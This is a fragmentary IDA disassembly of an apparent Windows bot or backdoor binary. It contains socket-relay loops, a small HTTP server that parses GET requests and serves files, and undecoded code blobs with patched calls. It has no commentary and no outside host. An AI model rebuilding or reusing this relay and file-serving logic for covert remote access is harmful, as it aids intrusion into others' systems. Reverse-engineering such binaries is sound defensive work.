		shl	eax, 6
		inc	dword_431410[eax]
		push	ebx
		lea	eax, dword_431410[eax]
		call	near ptr 71AB1A6Dh
		nop
		push	1
		pop	eax
		jmp	short loc_40E470
; ---------------------------------------------------------------------------


loc_40E467:				; CODE XREF: ___:0040E284j
					; ___:0040E2A9j ...
		push	ebx
		nop
		call	near ptr 71AB1A6Dh


loc_40E46E:				; CODE XREF: ___:0040E26Ej
		xor	eax, eax


loc_40E470:				; CODE XREF: ___:0040E465j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 404h


loc_40E47E:				; CODE XREF: ___:0040E49Aj
					; ___:0040E4B6j
		push	0
		lea	eax, [ebp-404h]
		push	400h
		push	eax
		push	dword_4CDCB4
		call	dword_4CAF8C
		test	eax, eax
		jle	short loc_40E47E
		lea	ecx, [ebp-4]
		push	0
		push	ecx
		push	eax
		lea	eax, [ebp-404h]
		push	eax
		push	dword_4CDCB0
		call	near ptr 26E0000h
		nop
		jmp	short loc_40E47E
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 404h


loc_40E4C1:				; CODE XREF: ___:0040E4E7j
					; ___:0040E501j
		lea	eax, [ebp-4]
		and	dword ptr [ebp-4], 0
		push	0
		push	eax
		lea	eax, [ebp-404h]
		push	400h
		push	eax
		push	dword_4CDCA4
		nop
		call	near ptr 26F0000h
		cmp	dword ptr [ebp-4], 0
		jle	short loc_40E4C1
		push	0
		lea	eax, [ebp-404h]
		push	dword ptr [ebp-4]
		push	eax
		push	dword_4CDCB4
		call	dword_4CAFC4
		jmp	short loc_40E4C1
; ---------------------------------------------------------------------------
byte_40E503	db 55h			; DATA XREF: sub_401ACD+2D0Do
dword_40E504	dd 0EC81EC8Bh, 11Ch, 5308458Bh,	286A5756h, 8D59F08Bh, 0FFFEE4BDh
		dd 6AA5F3FFh, 5EFF3301h, 98B089h, 106A0000h, 57C8458Dh
		dd 0D05AE850h, 0C4830000h, 45C7660Ch, 0FF0002C8h, 0FFFF68B5h
		dd 7415FFFFh, 6A004CAFh, 26A5606h, 0CA458966h, 0AFF415FFh
		dd 4589004Ch, 0C8458D08h, 0FF50106Ah, 15FF0875h, 4CAFA0h
		dd 75FF056Ah, 9C15FF08h, 8B004CAFh, 4270FC1Dh, 68358B00h
		dd 57004270h, 875FF57h,	0B00815FFh, 0B4A3004Ch,	8D004CDCh
		dd 5057F445h, 4CDCB068h, 0DCAC6800h, 45C7004Ch,	0CF4h
		dd 0FC45C700h, 1, 0FFF87D89h, 0F4458DD3h, 0A8685057h, 68004CDCh
		dd 4CDCA4h, 446AD3FFh, 5784458Dh, 0CFBEE850h, 0ACA10000h
		dd 83004CDCh, 45890CC4h, 0DCA8A1BCh, 4589004Ch,	16A57C0h
		dd 6AC4458Dh, 45C75002h, 4484h,	0B045C700h, 101h, 0B47D8966h
		dd 1F3DE890h, 0FF50022Fh, 4CDCA835h, 1F31E800h,	5090022Fh
		dd 19E6E890h, 458D022Fh, 458D50D8h, 57575084h, 9068h, 0F4458D04h
		dd 8D50016Ah, 6850F445h, 43350Ch, 25BEE857h, 8D900224h
		dd 5750E845h, 0E4B86857h, 458D0040h, 0E85057F4h, 2262005h
		dd 0EC458990h, 50E8458Dh, 75685757h, 8D0040E4h,	5057F445h
		dd 261FECE8h, 0FF6A9002h, 0FFF04589h, 0E890D875h, 2271FDEh
		dd 0F075FF57h, 272743E8h, 0FF579002h, 0E890EC75h, 2272738h
		dd 0FFF075FFh, 0EC75FFD6h, 0FF57D6FFh, 8CE8D875h, 90022E24h
		dd 0DCAC35FFh, 0D6FF004Ch, 0DCB035FFh, 0D6FF004Ch, 0DCA435FFh
		dd 0D6FF004Ch, 0DCA835FFh, 0D6FF004Ch, 0FFDC75FFh, 0D875FFD6h
		dd 0B0E9D6FFh, 0E9FFFFFEh, 0
; ---------------------------------------------------------------------------
		push	0FFFEh
		push	400h
		call	sub_418684
		pop	ecx
		mov	dword_4CDCBC, eax
		pop	ecx
		retn
; ---------------------------------------------------------------------------
byte_40E6EF	db 55h			; DATA XREF: sub_40BACD+34Do
		dd 0EC81EC8Bh, 6C0h, 5308458Bh,	276A5756h, 8D59F08Bh, 0FFFF50BDh
		dd 6AA5F3FFh, 5EDB3301h, 98B089h, 106A0000h, 53EC458Dh
		dd 0CE6EE850h, 0C4830000h, 45C7660Ch, 0FF0002ECh, 0FFFF5CB5h
		dd 7415FFFFh, 53004CAFh, 66026A56h, 89EE4589h, 15FFF05Dh
		dd 4CAFF4h, 0CE83F88Bh,	75FE3BFFh, 0E45D3945h, 8D532075h
		dd 0FFFD4085h, 0E075FFFFh, 60858D50h, 50FFFFFFh, 0FF50B5FFh
		dd 0FFE8FFFFh, 83FFFFB2h, 858D14C4h, 0FFFFFD40h, 6A2AE850h
		dd 0B5FF0000h, 0FFFFFF54h, 0FFCC85E8h, 535959FFh, 186AE890h
		dd 858B022Ch, 0FFFFFF54h, 0C069106Ah, 234h, 0DEBCB889h
		dd 458D0043h, 0FF5750ECh, 4CAFA015h, 0BBC63B00h, 400h
		dd 0CF850Fh, 15FF0000h,	4CAF08h, 27403Dh, 33477400h, 0E47539F6h
		dd 8D562075h, 0FFFD4085h, 0E075FFFFh, 60858D50h, 50FFFFFFh
		dd 0FF50B5FFh, 7FE8FFFFh, 83FFFFB2h, 858D14C4h,	0FFFFFD40h
		dd 69AAE850h, 0B5FF0000h, 0FFFFFF54h, 0FFCC05E8h, 565959FFh
		dd 17EAE890h, 0FE68022Ch, 530000FFh, 9E63E8h, 0BCA35900h
		dd 59004CDCh, 0EE458966h, 6AEC458Dh, 0FF575010h, 4CAFA015h
		dd 75C63B00h, 815FF54h,	33004CAFh, 0E47539F6h, 403D2775h
		dd 74000027h, 858D5620h, 0FFFFFD40h, 50E075FFh,	0FF60858Dh
		dd 0FF50FFFFh, 0FFFF50B5h, 0B204E8FFh, 0C483FFFFh, 40858D14h
		dd 50FFFFFDh, 692FE8h, 54B5FF00h, 0E8FFFFFFh, 0FFFFCB8Ah
		dd 0E8565959h, 22C1770h, 57056A90h, 0AF9C15FFh,	0C63B004Ch
		dd 0D4840Fh, 45C70000h,	10FCh, 9108BE00h, 458D0042h, 858D50FCh
		dd 0FFFFFF40h, 15FF5750h, 4CB008h, 89FFF883h, 0E6740845h
		dd 0E47D83h, 6A2175h, 0FD40858Dh, 75FFFFFFh, 858D50E0h
		dd 0FFFFFF60h, 50B5FF50h, 0E8FFFFFFh, 0FFFFB186h, 8D14C483h
		dd 0FFFD4085h, 0B1E850FFh, 59000068h, 0FD40858Dh, 6AFFFFh
		dd 20068h, 75FF5000h, 8C15FF08h, 83004CAFh, 9674FFF8h
		dd 35FF5656h, 4CACB0h, 0FF50B5FFh, 0E4E8FFFFh, 59FFFFC2h
		dd 35146850h, 858D0043h, 0FFFFF940h, 41E85053h,	830000D0h
		dd 858D1CC4h, 0FFFFF940h, 0E850006Ah, 0C690h, 858D5059h
		dd 0FFFFF940h, 875FF50h, 0AFC415FFh, 0F883004Ch, 43840FFFh
		dd 0FFFFFFFFh, 4CDCC405h, 0FF38E900h, 0FF57FFFFh, 4CB00C15h
		dd 54B5FF00h, 0E8FFFFFFh, 0FFFFCA8Ah, 90006A59h, 2C166FE8h
		db 2
byte_40E991	db 55h,	8Bh, 0ECh	; DATA XREF: sub_40BACD+22Ao
		dd 0A70EC81h, 458B0000h, 57565308h, 0A9B9016Ah,	8B000000h
		dd 20BD8DF0h, 5BFFFFF9h, 9889A5F3h, 2A0h, 0F590858Dh, 0F633FFFFh
		dd 1016850h, 5D890000h,	0D45D89E4h, 89DC5D89h, 0FFFDD4B5h
		dd 0C4B589FFh, 0E8FFFFFBh, 716A57FAh, 6A535690h, 5238E802h
		dd 8B90716Ah, 4271F435h, 0E44D8D00h, 0BF51046Ah, 0FFFFh
		dd 5057046Ah, 0FFF84589h, 0D4458DD6h, 6A50046Ah, 7D8B57FBh
		dd 0D6FF57F8h, 50DC458Dh, 4667E68h, 0E8905780h,	716A2B36h
		dd 0ACB0A166h, 6583004Ch, 665000B8h, 2B445C7h, 7415FF00h
		dd 66004CAFh, 8DB64589h, 106AB445h, 83E85750h, 90716A54h
		dd 77DC085h, 60E9C38Bh,	6A000005h, 0E890570Ah, 716A7382h
		dd 0FDD49D89h, 1D8BFFFFh, 427224h, 0FDD8BD89h, 7D89FFFFh
		dd 8D416AFCh, 0FFFDD4B5h, 0BD8D59FFh, 0FFFFFBC4h, 0F633A5F3h
		dd 0FBC4858Dh, 5656FFFFh, 458B5056h, 905040FCh,	6A2DF3E8h
		dd 0FFF88371h, 50E840Fh, 0FF330000h, 89FC7539h,	0C57C087Dh
		dd 646AF633h, 0FD60858Dh, 5056FFFFh, 0CACFE8h, 8D646A00h
		dd 0FFFF5085h, 0E85056FFh, 0CAC0h, 8D18C483h, 0FFFBC485h
		dd 0E85750FFh, 17C76h, 840FC085h, 4BAh,	75F87D3Bh, 0F0458D7Ah
		dd 10F045C7h, 50000000h, 0FDC4858Dh, 0FF50FFFFh, 86E8F875h
		dd 90716A9Bh, 0FFFF883h, 49184h, 39C93300h, 0FFFDD4B5h
		dd 8D1676FFh, 0FFFDD895h, 740239FFh, 0C283410Ch, 0D48D3B04h
		dd 72FFFFFDh, 0D48D3BF0h, 75FFFFFDh, 0D4BD8316h, 40FFFFFDh
		dd 84890D73h, 0FFFDD88Dh, 0D485FFFFh, 3BFFFFFDh, 37EFC45h
		dd 56FC4589h, 0DC68156Ah, 50004337h, 3BE9D3FFh,	56000004h
		dd 0FD60858Dh, 646AFFFFh, 19E85750h, 90716A6Bh,	527FC085h
		dd 0FDD4958Bh, 0C933FFFFh, 3A76D63Bh, 0FDD8858Dh, 3839FFFFh
		dd 83410A74h, 0CA3B04C0h, 26EBF472h, 73CA3B4Ah,	8D848D1Bh
		dd 0FFFFFDD8h, 4104508Bh, 958B1089h, 0FFFFFDD4h, 4A04C083h
		dd 0EC72CA3Bh, 0FDD48DFFh, 9057FFFFh, 6A2EA4E8h, 3D4E971h
		dd 858D0000h, 0FFFFFCC8h, 50858D50h, 50FFFFFFh,	0FD60858Dh
		dd 0D468FFFFh, 50004337h, 0DA58E8h, 50858D00h, 68FFFFFFh
		dd 4337CCh, 0D472E850h,	0C4830000h, 75C08518h, 166A560Dh
		dd 4337B468h, 82E900h, 858D0000h, 0FFFFFF50h, 4337AC68h
		dd 4DE85000h, 590000D4h, 7559C085h, 146A560Ah, 43379468h
		dd 8D61EB00h, 0FFFF5085h, 378C68FFh, 0E8500043h, 0D42Ch
		dd 59C08559h, 6A560A75h, 377C680Dh, 40EB0043h, 0FF50858Dh
		dd 7468FFFFh, 50004337h, 0D40BE8h, 0C0855900h, 560A7559h
		dd 6068106Ah, 0EB004337h, 50858D1Fh, 68FFFFFFh,	43375Ch
		dd 0D3EAE850h, 85590000h, 0E7559C0h, 681E6A56h,	43373Ch
		dd 2F1E957h, 34BF0000h,	8D004337h, 0FFFF5085h, 0E85057FFh
		dd 0D3C4h, 59C08559h, 858D2475h, 0FFFFFCC8h, 43373068h
		dd 0ADE85000h, 590000D3h, 7559C085h, 136A560Dh,	43371C68h
		dd 2B2E900h, 858D0000h,	0FFFFFF50h, 8DE85057h, 590000D3h
		dd 7559C085h, 0C8858D24h, 68FFFFFCh, 433718h, 0D376E850h
		dd 85590000h, 0D7559C0h, 68136A56h, 433704h, 27BE9h, 50858D00h
		dd 68FFFFFFh, 4336FCh, 0D352E850h, 85590000h, 347559C0h
		dd 0D0BE0A6Ah, 59004336h, 0FED8BD8Dh, 0A5F3FFFFh, 0D8858D50h
		dd 50FFFFFEh, 9DE8A566h, 590000C2h, 0D8858D50h,	50FFFFFEh
		dd 0FF0875FFh, 0E9F633D3h, 235h, 0FF50858Dh, 0C868FFFFh
		dd 50004336h, 0D307E8h,	0C0855900h, 6A2A7559h, 36B0BE05h
		dd 8D590043h, 0FFFF38BDh, 66A5F3FFh, 858D50A5h,	0FFFFFF38h
		dd 51E8A450h, 590000C2h, 38858D50h, 0EBFFFFFFh,	50858DB2h
		dd 68FFFFFFh, 4336A8h, 0D2C6E850h, 85590000h, 850F59C0h
		dd 0B6h, 0FD2C858Dh, 8D50FFFFh,	0FFFF0485h, 458D50FFh
		dd 458D50ECh, 458D50E8h, 458D50E0h, 858D50D8h, 0FFFFFD60h
		dd 43368068h, 62E85000h, 8D0000D8h, 0FFFF0485h,	8AE850FFh
		dd 8B0000C9h, 2C858DF8h, 50FFFFFDh, 0C97CE8h, 0F4458900h
		dd 858D326Ah, 0FFFFFF04h, 81E85056h, 830000C7h,	858D34C4h
		dd 0FFFFFF04h, 57F475FFh, 43367868h, 5FE85000h,	6A0000CAh
		dd 4858D10h, 56FFFFFFh,	0CF8FE850h, 0C4830000h,	0F445891Ch
		dd 50EC458Dh, 50E8458Dh, 50E0458Dh, 50D8458Dh, 68C4458Dh
		dd 43366Ch, 0CA2CE850h,	0C4830000h, 1D6A5618h, 43364C68h
		dd 11EE900h, 858D0000h,	0FFFFFF50h, 43364468h, 0F5E85000h
		dd 590000D1h, 0F59C085h, 0E485h, 286A5600h, 43361868h
		dd 875FF00h, 75FFD3FFh,	0C4458DF4h, 120E850h, 83590000h
		dd 0F5901F8h, 0B685h, 0C4458D00h, 20858D50h, 68FFFFF7h
		dd 4335FCh, 0C9C8E850h,	0C4830000h, 0BCB5390Ch,	75FFFFFBh
		dd 858D5623h, 0FFFFF720h, 0FBB8B5FFh, 8D50FFFFh, 0FFFB3885h
		dd 0B5FF50FFh, 0FFFFF920h, 0FFAB89E8h, 14C483FFh, 14AE8h
		dd 1F88300h, 93850Fh, 6A560000h, 35E46817h, 75FF0043h
		dd 8DD3FF08h, 8D50C445h, 0FFF72085h, 35C468FFh,	0E8500043h
		dd 0C96Ah, 390CC483h, 0FFFBBCB5h, 562375FFh, 0F720858Dh
		dd 0B5FFFFFFh, 0FFFFFBB8h, 38858D50h, 50FFFFFBh, 0F920B5FFh
		dd 2BE8FFFFh, 83FFFFABh, 858D14C4h, 0FFFFF720h,	6256E850h
		dd 5FF0000h, 4CDA80h, 562EEB59h, 0A068206Ah, 0EB004335h
		dd 50858D1Fh, 68FFFFFFh, 42C98Ch, 0D0F6E850h, 85590000h
		dd 0D7559C0h, 681B6A56h, 433584h, 0FF0875FFh, 8D646AD3h
		dd 0FFFD6085h, 0E85056FFh, 0C5F4h, 83087D8Bh, 3B470CC4h
		dd 7D89FC7Dh, 18E0F08h,	0E9FFFFFBh, 0FFFFFAC1h,	5F58016Ah
		dd 0C2C95B5Eh
		db 4, 0
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 1A0h
		lea	eax, [ebp-1A0h]
		push	eax
		push	101h
		nop
		call	near ptr 71AB41DAh
		push	0
		push	1
		push	2
		call	near ptr 71AB3C22h
		nop
		push	dword ptr [ebp+8]
		mov	dword_4CDCC8, eax
		mov	word ptr [ebp-10h], 2
		call	near ptr 71AB12F8h
		nop
		push	dword ptr [ebp+0Ch]
		mov	[ebp-0Ch], eax
		nop
		call	near ptr 71AB1746h
		mov	[ebp-0Eh], ax
		lea	eax, [ebp-10h]
		push	10h
		push	eax
		push	dword_4CDCC8
		nop
		call	near ptr 71AB3E5Dh
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40F036
		push	dword_4CDCC8
		nop
		call	near ptr 71AB1A6Dh
		nop
		call	near ptr 71AB1836h
		xor	eax, eax
		leave
		retn
; ---------------------------------------------------------------------------


loc_40F036:				; CODE XREF: ___:0040F01Ej
		push	1
		pop	eax
		leave
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 504h
		push	esi
		lea	eax, [ebp-104h]
		push	104h
		push	eax
		push	0
		nop
		call	near ptr 2660000h
		lea	eax, [ebp-104h]
		push	offset dword_429068
		push	eax
		call	sub_41B4C2
		mov	esi, eax
		pop	ecx
		test	esi, esi
		pop	ecx
		jz	short loc_40F0D2
		test	byte ptr [esi+0Ch], 10h
		jnz	short loc_40F0B6
		push	edi
		mov	edi, 400h


loc_40F07E:				; CODE XREF: ___:0040F0B3j
		push	esi
		push	1
		lea	eax, [ebp-504h]
		push	edi
		push	eax
		call	sub_41B11A
		add	esp, 10h
		lea	eax, [ebp-504h]
		push	0
		push	edi
		push	eax
		push	dword_4CDCC8
		nop
		call	near ptr 71AB1AF4h
		push	1
		call	near ptr 26705B3h
		nop
		test	byte ptr [esi+0Ch], 10h
		jz	short loc_40F07E
		pop	edi


loc_40F0B6:				; CODE XREF: ___:0040F076j
		push	esi
		call	sub_41B05B
		pop	ecx
		push	dword_4CDCC8
		nop
		call	near ptr 71AB1A6Dh
		nop
		call	near ptr 71AB1836h
		push	1
		pop	eax


loc_40F0D2:				; CODE XREF: ___:0040F070j
		pop	esi
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40F0D5	proc near		; DATA XREF: sub_401ACD+2283o
					; sub_40BACD+475o

var_28F0	= byte ptr -28F0h
var_18F0	= byte ptr -18F0h
var_8F0		= byte ptr -8F0h
var_6F0		= byte ptr -6F0h
var_5EC		= dword	ptr -5ECh
var_5E8		= byte ptr -5E8h
var_360		= byte ptr -360h
var_25C		= dword	ptr -25Ch
var_254		= dword	ptr -254h
var_250		= dword	ptr -250h
var_24C		= dword	ptr -24Ch
var_248		= dword	ptr -248h
var_23C		= byte ptr -23Ch
var_138		= dword	ptr -138h
var_134		= dword	ptr -134h
var_34		= byte ptr -34h
var_24		= word ptr -24h
var_22		= word ptr -22h
var_20		= dword	ptr -20h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 28F0h
		call	sub_41BB20
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		mov	ecx, 0ECh
		mov	esi, eax
		lea	edi, [ebp+var_5EC]
		push	1
		rep movsd
		pop	esi
		xor	ebx, ebx
		mov	[eax+3ACh], esi
		push	10h
		lea	eax, [ebp+var_24]
		push	ebx
		push	eax
		mov	[ebp+var_14], esi
		call	sub_41B590
		add	esp, 0Ch
		mov	[ebp+var_24], 2
		push	[ebp+var_25C]
		call	dword_4CAF74
		push	ebx
		push	esi
		push	2
		mov	[ebp+var_22], ax
		mov	[ebp+var_20], ebx
		call	dword_4CAFF4
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		mov	[ebp+var_C], edi
		jz	loc_40F4C0
		mov	eax, [ebp+var_254]
		push	10h
		imul	eax, 234h
		mov	dword_43DEBC[eax], edi
		lea	eax, [ebp+var_24]
		push	eax
		push	edi
		call	dword_4CAFA0
		cmp	eax, 0FFFFFFFFh
		jz	loc_40F4C0
		push	7FFFFFFFh
		push	edi
		call	dword_4CAF9C
		cmp	eax, 0FFFFFFFFh
		jz	loc_40F4C0
		lea	eax, [ebp+var_14]
		push	eax
		push	8004667Eh
		push	edi
		call	dword_4CB010
		cmp	eax, 0FFFFFFFFh
		jz	loc_40F4C0
		mov	ebx, esi
		mov	[ebp+var_134], edi
		mov	[ebp+var_138], ebx
		mov	[ebp+var_8], edi


loc_40F1AC:				; CODE XREF: sub_40F0D5+3E1j
		push	41h
		xor	eax, eax
		pop	ecx
		lea	esi, [ebp+var_138]
		push	eax
		push	eax
		push	eax
		lea	eax, [ebp+var_6F0]
		push	eax
		mov	eax, [ebp+var_8]
		lea	edi, [ebp+var_6F0]
		inc	eax
		rep movsd
		push	eax
		call	dword_4CAF5C
		cmp	eax, 0FFFFFFFFh
		jz	loc_40F4BB
		xor	esi, esi
		mov	[ebp+var_4], esi


loc_40F1E2:				; CODE XREF: sub_40F0D5+3DBj
		lea	eax, [ebp+var_6F0]
		push	eax
		push	esi
		call	dword_4CAE60
		test	eax, eax
		jz	loc_40F4A6
		cmp	esi, [ebp+var_C]
		jnz	short loc_40F264
		lea	eax, [ebp+var_10]
		mov	[ebp+var_10], 10h
		push	eax
		lea	eax, [ebp+var_34]
		push	eax
		push	[ebp+var_C]
		call	dword_4CB008
		cmp	eax, 0FFFFFFFFh
		jz	loc_40F4A6
		xor	ecx, ecx
		test	ebx, ebx
		jbe	short loc_40F236
		lea	edx, [ebp+var_134]


loc_40F22A:				; CODE XREF: sub_40F0D5+15Fj
		cmp	[edx], eax
		jz	short loc_40F236
		inc	ecx
		add	edx, 4
		cmp	ecx, ebx
		jb	short loc_40F22A


loc_40F236:				; CODE XREF: sub_40F0D5+14Dj
					; sub_40F0D5+157j
		cmp	ecx, ebx
		jnz	short loc_40F253
		cmp	ebx, 40h
		jnb	short loc_40F253
		mov	[ebp+ecx*4+var_134], eax
		mov	ebx, [ebp+var_138]
		inc	ebx
		mov	[ebp+var_138], ebx


loc_40F253:				; CODE XREF: sub_40F0D5+163j
					; sub_40F0D5+168j
		cmp	eax, [ebp+var_8]
		jbe	loc_40F4A6
		mov	[ebp+var_8], eax
		jmp	loc_40F4A6
; ---------------------------------------------------------------------------


loc_40F264:				; CODE XREF: sub_40F0D5+126j
		mov	edi, 1000h
		lea	eax, [ebp+var_28F0]
		push	edi
		push	0
		push	eax
		call	sub_41B590
		push	edi
		lea	eax, [ebp+var_18F0]
		push	0
		push	eax
		call	sub_41B590
		add	esp, 18h
		lea	eax, [ebp+var_28F0]
		push	0
		push	edi
		push	eax
		push	esi
		call	dword_4CAF8C
		test	eax, eax
		jg	short loc_40F2F7
		push	esi
		call	dword_4CB00C
		xor	ecx, ecx
		test	ebx, ebx
		jbe	loc_40F4A6
		lea	eax, [ebp+var_134]


loc_40F2B6:				; CODE XREF: sub_40F0D5+1EBj
		cmp	[eax], esi
		jz	short loc_40F2C7
		inc	ecx
		add	eax, 4
		cmp	ecx, ebx
		jb	short loc_40F2B6
		jmp	loc_40F4A6
; ---------------------------------------------------------------------------


loc_40F2C7:				; CODE XREF: sub_40F0D5+1E3j
		lea	eax, [ebx-1]
		cmp	ecx, eax
		jnb	short loc_40F2EB
		lea	eax, [ebp+ecx*4+var_134]


loc_40F2D5:				; CODE XREF: sub_40F0D5+214j
		mov	edx, [eax+4]
		inc	ecx
		mov	[eax], edx
		mov	ebx, [ebp+var_138]
		add	eax, 4
		lea	edx, [ebx-1]
		cmp	ecx, edx
		jb	short loc_40F2D5


loc_40F2EB:				; CODE XREF: sub_40F0D5+1F7j
		dec	ebx
		mov	[ebp+var_138], ebx
		jmp	loc_40F4A6
; ---------------------------------------------------------------------------


loc_40F2F7:				; CODE XREF: sub_40F0D5+1C8j
		xor	esi, esi
		push	104h
		lea	eax, [ebp+var_23C]
		push	esi
		push	eax
		call	sub_41B590
		lea	eax, [ebp+var_28F0]
		mov	[ebp+arg_0], esi
		push	eax
		call	sub_41AFE0
		add	esp, 10h
		test	eax, eax
		jbe	loc_40F4A6


loc_40F325:				; CODE XREF: sub_40F0D5+309j
		mov	eax, [ebp+arg_0]
		mov	al, [ebp+eax+var_28F0]
		cmp	al, 0Ah
		mov	[ebp+esi+var_18F0], al
		jnz	loc_40F3CA
		mov	esi, offset aGet_0 ; "GET "
		lea	eax, [ebp+var_18F0]
		push	esi
		push	eax
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40F39E
		lea	eax, [ebp+var_18F0]
		push	eax
		call	sub_41AFE0
		cmp	eax, 5
		pop	ecx
		jbe	short loc_40F39E
		mov	eax, offset asc_42CA2C ; " "
		push	eax
		push	eax
		lea	eax, [ebp+var_18F0]
		push	esi
		push	eax
		call	sub_41B900
		pop	ecx
		pop	ecx
		push	eax
		call	sub_41B900
		pop	ecx
		pop	ecx
		push	eax
		call	sub_41C0F4
		push	eax
		lea	eax, [ebp+var_23C]
		push	eax
		call	sub_41BEB0
		add	esp, 10h
		jmp	short loc_40F3B5
; ---------------------------------------------------------------------------


loc_40F39E:				; CODE XREF: sub_40F0D5+27Fj
					; sub_40F0D5+291j
		lea	eax, [ebp+var_18F0]
		push	offset asc_43381C ; "\r\n"
		push	eax
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40F3E9


loc_40F3B5:				; CODE XREF: sub_40F0D5+2C7j
		push	edi
		lea	eax, [ebp+var_18F0]
		push	0
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		or	esi, 0FFFFFFFFh


loc_40F3CA:				; CODE XREF: sub_40F0D5+263j
		inc	[ebp+arg_0]
		lea	eax, [ebp+var_28F0]
		push	eax
		inc	esi
		call	sub_41AFE0
		cmp	[ebp+arg_0], eax
		pop	ecx
		jb	loc_40F325
		jmp	loc_40F4A6
; ---------------------------------------------------------------------------


loc_40F3E9:				; CODE XREF: sub_40F0D5+2DEj
		xor	ecx, ecx
		test	ebx, ebx
		jbe	short loc_40F433
		lea	eax, [ebp+var_134]


loc_40F3F5:				; CODE XREF: sub_40F0D5+32Dj
		mov	esi, [ebp+var_4]
		cmp	[eax], esi
		jz	short loc_40F406
		inc	ecx
		add	eax, 4
		cmp	ecx, ebx
		jb	short loc_40F3F5
		jmp	short loc_40F436
; ---------------------------------------------------------------------------


loc_40F406:				; CODE XREF: sub_40F0D5+325j
		lea	eax, [ebx-1]
		cmp	ecx, eax
		jnb	short loc_40F42A
		lea	eax, [ebp+ecx*4+var_134]


loc_40F414:				; CODE XREF: sub_40F0D5+353j
		mov	edx, [eax+4]
		inc	ecx
		mov	[eax], edx
		mov	ebx, [ebp+var_138]
		add	eax, 4
		lea	edx, [ebx-1]
		cmp	ecx, edx
		jb	short loc_40F414


loc_40F42A:				; CODE XREF: sub_40F0D5+336j
		dec	ebx
		mov	[ebp+var_138], ebx
		jmp	short loc_40F436
; ---------------------------------------------------------------------------


loc_40F433:				; CODE XREF: sub_40F0D5+318j
		mov	esi, [ebp+var_4]


loc_40F436:				; CODE XREF: sub_40F0D5+32Fj
					; sub_40F0D5+35Cj
		lea	eax, [ebp+var_23C]
		test	eax, eax
		jz	short loc_40F49F
		lea	eax, [ebp+var_360]
		push	eax
		call	sub_41AFE0
		mov	edi, eax
		lea	eax, [ebp+var_23C]
		push	eax
		call	sub_41AFE0
		add	edi, eax
		pop	ecx
		cmp	edi, 104h
		pop	ecx
		jnb	short loc_40F49F
		and	[ebp+arg_0], 0
		lea	eax, [ebp+arg_0]
		push	eax
		push	8004667Eh
		push	esi
		call	dword_4CB010
		push	[ebp+var_254]
		lea	eax, [ebp+var_23C]
		push	[ebp+var_248]
		push	eax
		lea	eax, [ebp+var_360]
		push	eax
		push	esi
		call	sub_40F6B3
		add	esp, 14h
		jmp	short loc_40F4A6
; ---------------------------------------------------------------------------


loc_40F49F:				; CODE XREF: sub_40F0D5+369j
					; sub_40F0D5+38Fj
		push	esi
		call	dword_4CB00C


loc_40F4A6:				; CODE XREF: sub_40F0D5+11Dj
					; sub_40F0D5+143j ...
		mov	esi, [ebp+var_4]
		inc	esi
		cmp	esi, [ebp+var_8]
		mov	[ebp+var_4], esi
		jbe	loc_40F1E2
		jmp	loc_40F1AC
; ---------------------------------------------------------------------------


loc_40F4BB:				; CODE XREF: sub_40F0D5+102j
		mov	edi, [ebp+var_C]
		xor	ebx, ebx


loc_40F4C0:				; CODE XREF: sub_40F0D5+6Aj
					; sub_40F0D5+92j ...
		call	dword_4CAF08
		push	eax
		lea	eax, [ebp+var_8F0]
		push	offset unk_4337F4
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		cmp	[ebp+var_24C], ebx
		jnz	short loc_40F506
		push	ebx
		lea	eax, [ebp+var_8F0]
		push	[ebp+var_250]
		push	eax
		lea	eax, [ebp+var_5E8]
		push	eax
		push	[ebp+var_5EC]
		call	sub_409A72
		add	esp, 14h


loc_40F506:				; CODE XREF: sub_40F0D5+40Cj
		lea	eax, [ebp+var_8F0]
		push	eax
		call	sub_4151AC
		pop	ecx
		push	edi
		call	dword_4CB00C
		push	[ebp+var_254]
		call	sub_40B412
		pop	ecx
		push	ebx
		call	near ptr 26D0000h
		nop
		pop	edi
		pop	esi
		pop	ebx
sub_40F0D5	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40F530	proc near		; DATA XREF: sub_40F6B3+24Do

var_1654	= byte ptr -1654h
var_654		= byte ptr -654h
var_550		= byte ptr -550h
var_44C		= dword	ptr -44Ch
var_3C8		= byte ptr -3C8h
var_2C4		= byte ptr -2C4h
var_B8		= dword	ptr -0B8h
var_B4		= dword	ptr -0B4h
var_A4		= dword	ptr -0A4h
var_9C		= byte ptr -9Ch
var_68		= byte ptr -68h
var_20		= byte ptr -20h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 1654h
		call	sub_41BB20
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		mov	ecx, 0ECh
		mov	esi, eax
		lea	edi, [ebp+var_44C]
		rep movsd
		mov	dword ptr [eax+3ACh], 1
		lea	eax, [ebp+var_3C8]
		push	eax
		lea	eax, [ebp+var_550]
		push	eax
		call	sub_41B886
		pop	ecx
		lea	eax, [ebp+var_2C4]
		pop	ecx
		push	eax
		lea	eax, [ebp+var_654]
		push	eax
		call	sub_41B886
		xor	edi, edi
		pop	ecx
		cmp	[ebp+var_A4], edi
		pop	ecx
		jz	short loc_40F596
		push	offset aTextHtml ; "text/html"
		jmp	short loc_40F59B
; ---------------------------------------------------------------------------


loc_40F596:				; CODE XREF: sub_40F530+5Dj
		push	offset aApplicationOct ; "application/octet-stream"


loc_40F59B:				; CODE XREF: sub_40F530+64j
		lea	eax, [ebp+var_9C]
		push	eax
		call	sub_41B886
		pop	ecx
